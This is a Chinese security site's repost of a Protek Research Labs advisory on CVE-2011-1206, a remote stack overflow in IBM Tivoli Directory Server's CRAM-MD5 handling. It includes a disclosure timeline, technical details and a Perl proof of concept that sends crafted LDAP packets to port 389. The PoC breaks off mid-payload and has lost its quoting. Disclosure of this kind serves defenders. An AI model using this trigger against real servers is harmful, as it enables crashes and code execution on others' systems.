频道栏目
首页 > 资讯 > 网站安全 > 正文

IBM Tivoli Directory Server SASL Bind请求远程代码执行漏洞

11-04-20        来源:[db:作者]  
收藏   我要投稿

Source: http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=26&Itemid=26 

  

##################################################################################### 

  

Application:   IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability 

  

Platforms:   Windows 

  

Exploitation:   Remote code execution 

  

CVE Number:   CVE-2011-1206  

  

ZDI number:   ZDI-11-136 

  

{PRL}:   2011-06 

  

Author:   Francis Provencher (Protek Research Labs) 

  

WebSite:   http://www.protekresearchlab.com/ 

  

Twitter:   @ProtekResearch 

  

  

##################################################################################### 

  

1) Introduction 

2) Report Timeline 

3) Technical details 

4) POC 

  

##################################################################################### 

  

=============== 

1) Introduction 

=============== 

  

IBM Tivoli Directory Server (ITDS), formerly known as IBM Directory Server, 

  

is an IBM implementation of the Lightweight Directory Access Protocol, 

  

and is part of the IBM Tivoli Identity & Access Management portfolio. 

  

IBM Tivoli Directory Server is a powerful, security-rich and standards-compliant 

  

enterprise directory for corporate intranets and the Internet. Directory Server is 

  

built to serve as the identity data foundation for rapid development and deployment 

  

of Web applications and security and identity management initiatives by including 

  

strong management, replication and security features.Several authentication methods 

  

are available with IBM Tivoli Directory Server, beyond basic usernames and passwords. 

  

ITDS supports digital certificate-based authentication, the Simple Authentication and 

  

Security Layer (SASL), Challenge-Response Authentication Mechanism MD5 (CRAM-MD5), 

  

and Kerberos authentication.IBM Tivoli Directory Server is a powerful LDAP 

  

infrastructure that provides a foundation for deploying comprehensive identity management 

  

applications and advanced software architectures. 

  

(http://en.wikipedia.org/wiki/IBM_Tivoli_Directory_Server

  

##################################################################################### 

  

============================ 

2) Report Timeline 

============================ 

  

2011-02-17 - Vulnerability reported to vendor 

2011-04-18 - Coordinated public release of advisory 

  

  

##################################################################################### 

  

==================== 

3) Technical details 

==================== 

  

This vulnerability allows remote attackers to execute arbitrary code on vulnerable 

  

installations of IBM Tivoli Directory Server. Authentication is not required to 

  

exploit this vulnerability. The specific flaw exists in how ibmslapd.exe handles 

  

LDAP CRAM-MD5 packets. ibmslapd.exe listens by default on port TCP 389. When the 

  

process receives an LDAP CRAM-MD5 packet, it uses libibmldap.dll to handle the 

  

allocation of a buffer for the packet data. A specially crafted packet can cause 

  

the ber_get_int function to allocate a buffer that is too small to fit the packet 

  

data, causing a subsequent stack-based buffer overflow. This can be leveraged by 

  

a remote attacker to execute arbitrary code under the context of the SYSTEM user. 

  

  

##################################################################################### 

  

=========== 

4) POC 

=========== 

  

#!/usr/bin/perl 

  

  

use strict; 

use warnings; 

  

use Getopt::Std; 

use IO::Socket::INET; 

  

$SIG{INT}  = &abort; 

  

my $host  = 192.168.100.24; 

my $port  = 389; 

my $proto = tcp; 

my $sockType = SOCK_STREAM; 

my $timeout = 1; 

  

my %opt; 

my $opt_string = hH:P:t:; 

getopts( "$opt_string", \%opt ); 

  

if (defined $opt{h}) { 

    usage() 

  

$host    = $opt{H} ? $opt{H} : $host; 

$port    = $opt{P} ? $opt{P} : $port; 

$timeout = $opt{t} ? $opt{t} : $timeout; 

  

my @commands = ( 

{Command => Send, 

 Data => "x30x18x02x01x01x60x13x02x01x03x04x00xA3x0Cx04x08x43x52x41x4Dx2Dx4Dx44x35x04x00"}, 

{Command => Receive}, 

{Command => Send, 

 Data => "x30x82x01x41x02x01x02x60x82x01x3Ax02x01x03x04x00xA3x82x01x31x04x08x43x52x41x4Dx2Dx4Dx44x35x04x84xFFxFFxFFxFFx41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41

相关TAG标签
上一篇:Word2010从第三页开始显示页码1的方法
下一篇:Honeywall后台管理界面存在任意文件读取漏洞及修复
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站